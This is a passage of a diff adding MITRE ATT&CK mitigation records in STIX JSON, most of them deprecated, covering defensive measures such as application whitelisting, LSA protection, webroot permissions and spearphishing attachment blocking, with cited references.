"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--51b37302-b844-4c08-ac98-ae6955ed1f55", + "modified": "2019-07-25T11:39:54.228Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Screensaver Mitigation", + "description": "Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)", + "external_references": [ + { + "external_id": "T1180", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1180" + }, + { + "source_name": "TechNet Screensaver GP", + "description": "Microsoft. (n.d.). Customizing the Desktop. Retrieved December 5, 2017.", + "url": "https://technet.microsoft.com/library/cc938799.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--9da16278-c6c5-4410-8a6b-9c16ce8005b3", + "modified": "2019-07-25T11:40:31.541Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Scripting Mitigation", + "description": "Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.\n\nConfigure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)", + "external_references": [ + { + "external_id": "T1064", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1064" + }, + { + "source_name": "Microsoft Block Office Macros", + "description": "Windows Defender Research. (2016, March 22). New feature in Office 2016 can block macros and help prevent infection. Retrieved April 11, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/" + }, + { + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--57019a80-8523-46b6-be7d-f763a15a2cc6", + "modified": "2019-07-25T11:40:52.342Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Security Software Discovery Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1063", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1063" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--bd2554b8-634f-4434-a986-9b49c29da2ae", + "modified": "2019-07-25T11:41:14.643Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Security Support Provider Mitigation", + "description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", + "external_references": [ + { + "external_id": "T1101", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1101" + }, + { + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "source_name": "Graeber 2014", + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" + }, + { + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", + "source_name": "Microsoft Configure LSA", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--9e57c770-5a39-49a2-bb91-253ba629e3ac", + "modified": "2019-07-25T11:41:39.946Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Service Execution Mitigation", + "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1035", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1035" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--d5dce4b9-f1fa-4c03-aff9-ce177246cb64", + "modified": "2019-07-25T11:42:04.284Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Service Registry Permissions Weakness Mitigation", + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.", + "external_references": [ + { + "external_id": "T1058", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1058" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--9378f139-10ef-4e4b-b679-2255a0818902", + "modified": "2019-07-25T11:42:29.377Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Service Stop Mitigation", + "description": "Ensure proper process, registry, and file permissions are in place to inhibit adversaries from disabling or interfering with critical services. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Harden systems used to serve critical network, business, and communications functions. Operate intrusion detection, analysis, and response systems on a separate network from the production environment to lessen the chances that an adversary can see and interfere with critical response functions.", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1489", + "url": "https://attack.mitre.org/mitigations/T1489" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-24T17:01:10.433Z", + "id": "course-of-action--417fed8c-bd76-48b5-90a2-a88882a95241", + "modified": "2019-07-25T11:42:52.240Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Setuid and Setgid Mitigation", + "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.", + "external_references": [ + { + "external_id": "T1166", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1166" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--073cc04d-ac46-4f5a-85d7-83a91ecd6a19", + "modified": "2019-07-25T11:43:19.870Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Shared Webroot Mitigation", + "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Secuirty) (Citation: NIST Server Security July 2008)", + "external_references": [ + { + "external_id": "T1051", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1051" + }, + { + "source_name": "acunetix Server Secuirty", + "description": "Acunetix. (n.d.). Web Server Security and Database Server Security. Retrieved July 26, 2018.", + "url": "https://www.acunetix.com/websitesecurity/webserver-security/" + }, + { + "source_name": "NIST Server Security July 2008", + "description": "Scarfone, K. et al.. (2008, July). NIST Special Publication 800-123 - Guide to General Server Security. Retrieved July 26, 2018.", + "url": "https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-123.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5", + "modified": "2019-07-25T11:43:54.859Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Shortcut Modification Mitigation", + "description": "Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)\n\nIdentify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1023", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1023" + }, + { + "source_name": "UCF STIG Symbolic Links", + "description": "UCF. (n.d.). Unauthorized accounts must not have the Create symbolic links user right.. Retrieved December 18, 2017.", + "url": "https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2015-06-25/finding/V-26482" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--a13e35cc-8c90-4d77-a965-5461042c1612", + "modified": "2019-07-25T11:44:15.639Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Signed Binary Proxy Execution Mitigation", + "description": "Certain signed binaries that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these binaries if they are not required for a given system or network to prevent potential misuse by adversaries. If these binaries are required for use, then restrict execution of them to privileged accounts or groups that need to use them to lessen the opportunities for malicious use.", + "external_references": [ + { + "external_id": "T1218", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1218" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--28c0f30c-32c3-4c6c-a474-74820e55854f", + "modified": "2019-07-25T11:44:39.451Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Signed Script Proxy Execution Mitigation", + "description": "Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.", + "external_references": [ + { + "external_id": "T1216", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1216" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--51048ba0-a5aa-41e7-bf5d-993cd217dfb2", + "modified": "2019-07-25T11:45:01.486Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Software Configuration", + "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", + "external_references": [ + { + "external_id": "M1054", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1054" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T14:40:23.529Z", + "id": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "modified": "2019-07-19T14:57:15.656Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Software Packing Mitigation", + "description": "Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.\n\nIdentify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1045", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1045" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--c95c8b5c-b431-43c9-9557-f494805e2502", + "modified": "2019-07-25T11:45:24.150Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Source Mitigation", + "description": "Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.", + "external_references": [ + { + "external_id": "T1153", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1153" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--5391ece4-8866-415d-9b5e-8dc5944f612a", + "modified": "2019-07-25T11:45:45.651Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Space after Filename Mitigation", + "description": "Prevent files from having a trailing space after the extension.", + "external_references": [ + { + "external_id": "T1151", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1151" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--02f0f92a-0a51-4c94-9bda-6437b9a93f22", + "modified": "2019-07-25T11:46:32.010Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Spearphishing Attachment Mitigation", + "description": "Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nBlock unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.", + "external_references": [ + { + "external_id": "T1193", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1193" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--8f6b5ca6-263a-4ea9-98f3-afd2a3cd8119", + "modified": "2019-07-25T11:50:34.690Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Spearphishing Link Mitigation", + "description": "Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk. Other mitigations can take place as [User Execution](https://attack.mitre.org/techniques/T1204) occurs.", + "external_references": [ + { + "external_id": "T1192", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1192" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--ad7f983d-d5a8-4fce-a38c-b68eda61bf4e", + "modified": "2019-07-25T11:59:46.032Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Spearphishing via Service Mitigation", + "description": "Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.\n\nBecause this technique involves use of legitimate services and user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.", + "external_references": [ + { + "external_id": "T1194", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1194" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--c861bcb1-946f-450d-ab75-d4e3c1103a56", + "modified": "2019-07-25T12:00:12.285Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Standard Application Layer Protocol Mitigation", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1071", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1071" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--addb3703-5a59-4461-9bcd-7e2b5d4e92a0", + "modified": "2019-07-25T12:00:42.159Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Standard Cryptographic Protocol Mitigation", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1032", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1032" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--a766ce73-5583-48f3-b7c0-0bb43c6ef8c7", + "modified": "2019-07-25T12:01:13.198Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Standard Non-Application Layer Protocol Mitigation", + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1095", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1095" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--399d9038-b100-43ef-b28d-a5065106b935", + "modified": "2019-07-25T12:01:33.997Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + 